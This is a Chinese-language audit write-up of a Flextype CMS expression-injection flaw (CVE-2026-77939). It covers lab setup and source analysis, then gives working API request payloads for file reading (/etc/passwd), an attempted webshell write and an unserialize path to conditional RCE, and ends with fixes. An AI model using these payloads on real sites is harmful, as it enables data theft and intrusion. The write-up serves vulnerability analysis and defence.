【实战审计】CVE-2026-77939:Flextype CMS 表达式注入与沙箱逃逸及条件性 RCE 深度剖析
本文剖析Flextype CMS的CVE-2026-77939表达式注入漏洞,攻击者利用Symfony ExpressionLanguage引擎求值绕过沙箱读取文件,并结合反序列化实现条件性RCE。
第一章:引言与漏洞概述
在当今的 Web 生态中,轻量级、无数据库的 Flat-File CMS(如 Grav、Flextype、Kirby 等)因其部署简单、性能优异而受到大量中小型站点的青睐。然而,摆脱了关系型数据库的束缚,并不意味着摆脱了传统 Web 漏洞的阴影。相反,由于高度依赖文件系统进行数据存储与解析,此类系统在输入处理、模板渲染及数据反序列化层面的安全设计往往面临更为严峻的考验。
近期披露的 CVE-2026-77939 正是一个典型的架构级安全缺陷。该漏洞存在于 Flextype CMS 的 API 查询模块中,由于其未能对用户输入进行有效的边界隔离,直接将外部数据交由 Symfony ExpressionLanguage 引擎进行求值(Evaluate)。更为致命的是,底层框架在初始化引擎时,打破了 Symfony 原生的沙箱限制,向求值作用域(Context)内暴露了包含文件读写、数据序列化在内的高危应用对象。
攻击者只需获取低权限的 API Token,即可通过构造恶意的表达式 Payload,实现任意文件读取;若结合日志投毒等二级攻击向量,甚至可将漏洞武器化为远程代码执行(RCE)。
漏洞编号:CVE-2026-77939
漏洞类型:服务端表达式注入(CWE-94 / CWE-1336)、沙箱绕过
影响组件:Flextype CMS <= v1.0.0-alpha.3 (commit aea4ead)
利用前置条件:需持有合法的 API Token 与 Access Token
CVSS 评分:6.5 (Medium) / 7.1 (High)
第二章:靶场环境搭建与排坑记录
为深入探究底层逻辑,我们放弃使用可能存在版本漂移的官方镜像,选择基于源码从零构建调试环境。
2.1 环境初始化
拉取源码并精准切换至漏洞所在的 Commit:
git clone https://github.com/flextype/flextype
cd flextype
git checkout aea4ead8c449ea5517ed53b6dcbd28b0a528ad9d
2.2 Docker 容器化构建
编写 Dockerfile,基于 PHP 8.1 + Apache 环境构建:
FROM docker.m.daocloud.io/library/php:8.1-apache
COPY --from=docker.m.daocloud.io/library/composer:latest /usr/bin/composer /usr/local/bin/composer
RUN apt-get update && apt-get install -y libpng-dev libjpeg-dev libfreetype6-dev unzip libzip-dev \
&& docker-php-ext-configure gd --with-freetype --with-jpeg \
&& docker-php-ext-install gd zip \
&& a2enmod rewrite
COPY . /var/www/html/
RUN chown -R www-data:www-data /var/www/html
2.3 实战避坑指南
在复现过程中,我们遇到了两个极具代表性的问题:
依赖拉取超时:容器内直连 GitHub 导致 Composer 安装中断。解决方式:配置国内镜像源 composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/。
PHP 8.1 致命类型错误:Flextype 早期依赖的 phpfastcache 库在 PHP 8.1 下存在类型声明兼容问题(Fatal error: Declaration of ... must be compatible with...)。解决方案:修改 src/flextype/core/Cache/Drivers/Phparray/Driver.php 第 109 行,调整 driverDelete 方法签名,或直接在 YAML 中将缓存驱动改为 files。
环境就绪后,通过 CLI 生成鉴权凭据:
docker exec -it flextype-env php bin/flextype tokens:create
第三章:代码审计与沙箱逃逸原理解析
本漏洞的本质是数据流的失控与框架上下文防御的失效。我们通过源码理清攻击链。
3.1 漏洞入口:未受控的求值节点 (Source to Sink)
漏洞的触发点位于 src/flextype/core/Endpoints/Query.php。

[图 1:Query.php 代码截图]
$data = [];
// Get flat representation of queries
$queries = collection($requestParsedBody['query'])->dot()->toArray();
// Evaluate the queries
foreach ($queries as $key => $value) {
$evaluatedValue = parsers()->expressions()->eval($value);
if ($evaluatedValue instanceof \Glowy\Arrays\Arrays) {
$evaluatedValue = $evaluatedValue->toArray();
}
// ... 省略部分代码 ...
$data[$key] = $evaluatedValue;
}
【数据流向分析】
数据源 (Source):第 56 行,$requestParsedBody['query'] 直接接收客户端 POST 的 JSON 数据。
结构处理:通过 collection()->dot()->toArray() 将嵌套 JSON 扁平化。此处未进行任何白名单过滤或特殊字符转义,如 {"a": {"b": "payload"}} 会被转化为 ["a.b" => "payload"]。
执行点 (Sink):第 60 行,未过滤的 $value 被直接传入 parsers()->expressions()->eval($value)。eval() 作为表达式引擎的求值入口,会将字符串作为 PHP 代码逻辑进行解析。
结果回显:第 70 行将结果写入 $data 数组,最终通过 API 响应返回。这是一个完美回显的漏洞。
3.2 引擎初始化:黑名单防御的失效
许多开发者过度迷信 Symfony ExpressionLanguage 自带的沙箱。在 src/flextype/core/Parsers/Expressions/Expressions.php 中:

[图 2:Expressions.php 代码截图]
protected function __construct()
{
// Register default php functions
$this->addFunction(ExpressionFunction::fromPhp('constant'));
// Register the expressions providers
$this->registerExpressions(registry()->get('flextype.settings.parsers.expressions.expressions'));
}
【沙箱绕过原理】
Symfony 沙箱的机制是黑名单,默认拦截 system()、exec()。但 Flextype 在第 51 行通过 registerExpressions 动态加载了自定义的 Provider。这相当于在沙箱内部开了一道后门:攻击者调用被框架合法注册的 filesystem() 时,引擎认为这是一个合法函数,从而完全绕过了黑名单检测。
3.3 隐患爆发:配置与实现的割裂
我们审计 settings.yaml 的配置项:

[图 3:settings.yaml 代码截图]
expressions:
cache:
enabled: true
math:
enabled: true
class: "Flextype\\Parsers\\Expressions\\MathExpression"
date:
enabled: true
class: "Flextype\\Parsers\\Expressions\\DateExpression"
配置文件显示官方仅开启了 math 和 date,表面看似安全。但这正是漏洞的隐蔽之处: 系统在底层代码中,通过依赖注入机制,强行向引擎上下文塞入了 filesystem 和 serializers。
进一步审计 EntriesExpression.php:

[图 4:EntriesExpression.php 代码截图]
if (! registry()->get('flextype.settings.parsers.expressions.expressions.entries.update.enabled')) { ... }
if (! registry()->get('flextype.settings.parsers.expressions.expressions.entries.delete.enabled')) { ... }
底层直接放行了 fetch、update、delete 等极其危险的 CRUD 权限,这意味着攻击者不仅能读文件,甚至能破坏站点数据。
第四章:漏洞复现与利用链深度解析
开启 Burp Suite,对 /api/v1/query 发起 POST 请求。
4.1 第一血:表达式引擎注入验证
发送基础数学运算,验证求值引擎是否受控:

[图 5:7*7 返回 49 的截图]
请求体:
{
"token": "你的Token",
"access_token": "你的Access_Token",
"query": {
"test": "7*7"
}
}
结果:成功响应 {"test": 49},注入点确认成立。
4.2 致命一击:任意文件读取 (Arbitrary File Read)
利用框架暴露的 filesystem 对象,构造读取敏感文件的 Payload:

[图 6:/etc/passwd 的截图]
请求体:
{
"token": "你的Token",
"access_token": "你的Access_Token",
"query": {
"hack": "filesystem().file('/etc/passwd').get()"
}
}
原理解析:filesystem() 实例化了底层的文件系统对象,file() 指定了目标路径,get() 执行了读取操作。这一套“合法”的方法链调用,顺利绕过了所有防线,将 /etc/passwd 的内容回显至响应体。
4.3 进阶探索:条件性 RCE 的链路闭环
红队的终极目标是获取权限。我们尝试直接写 WebShell:
(Payload: filesystem().file('/var/www/html/shell.php').set(''))
系统报错 Method set does not exist,说明底层收窄了写入权限,直接写马被拦截。
但我们发现 serializers() 对象存在反序列化操作。构造 Payload:

[图 7:serializers 返回 1 的截图]
请求体:
{
"token": "你的Token",
"access_token": "你的Access_Token",
"query": {
"hack": "serializers().phparray().decode('/tmp/shell.php')"
}
}
原理解析:phparray().decode() 底层调用了 unserialize()。响应返回 {"hack": 1}(布尔值 True),证明系统成功读取了该文件并进入了反序列化执行流。这意味着,如果攻击者能配合文件上传或日志投毒,预先在 /tmp/ 写入一个精心构造的 POP 链 Payload,即可在此处触发条件性 RCE。
第五章:安全建设与防御纵深
CVE-2026-77939 暴露了动态求值场景下的三大通病:
黑名单沙箱不可靠:在现代框架的复杂依赖注入下,只要暴露了合法对象,攻击者就能组合出绕过黑名单的调用链。
配置与代码脱节:YAML 表面的安全配置掩盖了底层代码强行注入的高危对象,导致安全扫描极易漏报。
Flat-File 架构的“原罪”:无数据库意味着所有数据都在磁盘上,文件系统对象的失控是极度致命的。
修复建议:
代码级加固:在 Query.php 中废弃 eval(),改为严格的 JSON 数据校验。在 Expressions.php 中清理上下文,绝不能将 filesystem、serializers 等对象注入到用户可控的求值引擎中。
WAF 拦截:拦截对 /api/v1/query 接口中带有 filesystem、serializers、system 等关键字的恶意请求。